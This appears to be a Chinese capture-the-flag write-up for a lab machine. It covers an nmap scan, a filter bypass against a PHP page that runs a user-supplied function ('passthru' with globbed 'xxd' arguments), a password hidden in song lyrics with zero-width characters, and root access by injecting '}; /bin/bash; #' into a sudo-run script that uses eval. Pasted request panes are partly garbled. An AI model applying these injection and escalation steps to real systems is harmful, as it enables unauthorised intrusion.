

FTC

1.信息搜集

端口22, 80, 8080开放

```
# nmap -p- -min-rate 10000 -n -Pn -sCV 192.168.109.150
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-07 13:32 CST
Nmap scan report for 192.168.109.150
Host is up (0.00076s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh    OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp    open  http   PHP 8.2.29
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| fingerprint:
|   GetRequest, HTTPOptions:
|     HTTP/1.0 200 OK
|     Date: Wed, 07 Jan 2026 05:32:13 GMT
|     Connection: close
|     X-Powered-By: PHP/8.2.29
|     Content-type: text/html; charset=UTF-8
|     <code><span style="color: #000000">
|     <span style="color: #0000BB">&lt;?php
|     />error_reporting(</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">");</span>
|     /><span style="color: #0000BB">highlight_file(</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);</span>
|     /><span style="color: #FF8000">//&nbsp;
|     flag
|     /><span style="color: #0000BB">$function&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'function'</span><span style="color: #007700">];</span>
|     /><span style="color: #0000BB">
|_ Methods supported:CONNECTIO
|_ http-title: Site doesn't have a title (text/html; charset=UTF-8).
```

2.开打

80端口：

```
<?php
error_reporting(0);
highlight_file(__FILE__);
// 根目录下的flag
$function = $_POST['function'];
$args = $_POST['args'];

if(!preg_match("/system|exec|eval|phpinfo/i",$function)&&!preg_match("/(cat|ls|find|grep|more|head|grep|r|sort|ph|n|less|el|[\\"~*?\$])/i",$args)){
$function($args);
}
else {
    echo "nonono";
}
```

发现system|exec|eval|phpinfo这四个函数过滤，可以用passthru替代，后面一串过滤意味着不能用新增变量来打，没有过滤a, z, -, []可以用字符匹配[a-z]，查看用tac

请求

响应

请求	响应
美化 Raw Hex	美化 Raw Hex 页面渲染
1 POST / HTTP/1.1	
2 Host: 192.168.109.150	
3 Cache-Control: max-age=0	
4 Upgrade-Insecure-Requests: 1	
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)	
6 Chrome/116.0.5845.111 Safari/537.36	function
7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7	
8 Accept-Encoding: gzip, deflate, br	
9 Accept-Language: zh-CN,zh;q=0.9) &#amp;&#amp;!
10 Connection: close	
11 Content-length: 48	
12	preg_match
13 function=passsthru&args=xxd /{b-h}[k-m][a-a][a-z]	
	
	(
	
	
	"(cat if f g more head grep r sort ph n less e [_~*?\\$])/"
	
	
	,
	
	
	\$args
	
	
) (
	
	
	function
	
	
	(
	
	
	\$args
	
	
);
	else (
	 echo
	
	
	"nonono"
	
	
	
	
10	11</code>
11	00000000: 4c6c 4234 352f 4b51 466d 0a
12	L1B45/KQFm.

8080:

可惜没如果 林俊杰 假如把犯得起的错 能错的都错过 应该还来得及去悔过 假如没把一切说破 那一场小风波将一笑带过 在感情面前讲什么自我 要得过目才好过 全都怪我 不该沉默时沉默该勇敢时软弱 如果不是我 误会自己洒脱让我们难过 可当初的你和现在的我 假如重来过 倘若那天 把该说的话好好说 该体谅的不执着 如果那天我 不受情绪挑拨 你会怎么做 那么多如果可能如果我 可惜没如果只剩下结果 如果早点了解 那率性的你 或者晚一点 遇上成熟的我 不过oh 全都怪我 不该沉默时沉默该勇敢时软弱 如果不是我 误会自己洒脱让我们难过 可当初的你和现在的我 假如重来过 倘若那天 把该说的话好好说 该体谅的不执着 如果那天我 不受情绪挑拨 你会怎么做 那么多如果可能如果我 可惜没如果没有你和我都怪我 不该沉默时沉默该勇敢时软弱 如果不是我 误会自己洒脱让我们难过 可当初的你和现在的我 假如重来过 倘若那天 把该说的话好好说 该体谅的不执着 如果那天我 不受情绪挑拨 你会怎么做 那么多如果可能如果我 可惜没如果没有

一开始尝试每段字数转16进制再转字符无果后，复制到txt，发现是零宽字符隐写

可惜没如果 林俊杰假如把犯得起的错 能错的都错过 应该还来得及去悔过 假如没把一切说破 那一场小风波将一笑带过 在感情面前讲什么自我要得过且过才好过 全都怪我 不已洒脱让我们难过 可当初的你和现在的我 假如重来过 倘若那天 把该说的话好好说 该体谅的不执着 如果那天我 不受情绪挑拨 你会怎么做 那么多如果可能如果我 可惜没如果点 遇上成熟的我 不过oh 全都怪我 不该沉默时沉默该勇敢时软弱 如果不是我 误会自己洒脱让我们难过 可当初的你和现在的我 假如重来过 倘若那天 把该说的话好好说(该体谅) 做 那么多如果可能如果我 可惜没如果没有你和我 都怪我 不该沉默时沉默该勇敢时软弱 如果不是我 误会自己洒脱让我们难过 可当初的你和现在的我 假如重来过 倘若那天我 不受情绪挑拨 你会怎么做 那么多如果可能如果我 可惜没如果 只剩下结果 可惜没如果口

The screenshot shows a Stego application interface with two main sections: '原文' (Original Text) on the left and '隐写文本' (Stego Text) on the right.

原文 (Original Text):

可惜没如果 林俊杰 假如把犯得起的错 能错的
都错过 应该还来得及去悔过 假如没把一切说
破 那一场小风波将一笑带过 在感情面前讲什

隐藏文字 (Hidden Text):

xmgbmxjs:SyalwLO+pmWicb.....

操作按钮:

- 清除 (Clear) button for the original text panel.
- 加密 » (Encrypt) button for the stego text panel.
- 解密 « (Decrypt) button for the stego text panel.

Stego Text Panel Content:

天我 不受情绪挑拨 你会怎么做 那么多如果可
能如果我 可惜没如果没有你和我都怪我 不该
沉默时沉默该勇敢时软弱 如果不是我 误会自己
洒脱让我们难过 可当初的你和现在的我 假如重来过
倘若那天 把该说的话好好说 该体谅的不执着
如果那天我 不受情绪挑拨 你会怎么做
那么多如果可能如果我 可惜没如果 只剩下
结果 可惜没如果

将Stego文本下载为文件

加上80端口的一半，可以登录xmgmxs用户

进而查看userflag

```
xmgmxjs@FCT:~$ tac user.txt  
flag{user-JLUSoJGCnTndpKfYIcPT0Aza}  
xmgmxjs@FCT:~$ _
```

3.提权

```
xmgmxjs@FCT:~$ sudo -l  
Matching Defaults entries for xmgmxjs on FCT:  
    env_reset, mail_badpass,  
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin  
  
Runas and Command-specific defaults for xmgmxjs:  
    Defaults!/usr/bin/sqlmap, !/usr/bin/sqlmap *--tamper* env_reset  
  
User xmgmxjs may run the following commands on FCT:  
    (root) NOPASSWD: /usr/bin/sqlmap, !/usr/bin/sqlmap *--tamper*  
    (ALL) NOPASSWD: /opt/123.sh
```

发现/opt/123.sh可利用

```
tac /opt/123.sh  
#!/bin/bash  
if [ "${#1}" -eq 2 ]; then  
    eval cat $1.hidden  
fi  
if [ "${#1}" -gt 2 ]; then  
    eval echo \${FTC_\${1}:-$HOME}  
fi
```

如果获取第一个参数\$1的长度等于2，执行eval cat \$1.hidden，如果大于2，执行eval echo \${FTC_\\${1}:-\$HOME}

我们可以利用eval echo \${FTC_\\${1}:-\$HOME}

当我们输入 }; /bin/bash; # 就会构造eval echo \${FTC_}; /bin/bash; #:\$HOME}, 不第一句闭合并把后面的\$HOME注释，打开一个新shell。

```
xmgmxjs@FCT:~$ sudo /opt/123.sh "}; /bin/bash; #"  
root@FCT:/home/xmgmxjs# ls  
user.txt  
root@FCT:/home/xmgmxjs# cd /root  
root@FCT:~# ls  
root.txt  
root@FCT:~# cat root.txt  
  
[1]+  Stopped                  cat root.txt  
root@FCT:~# tac root.txt  
flag{root-jyt/DLUwE8JEy2v5EuykzPeL}
```

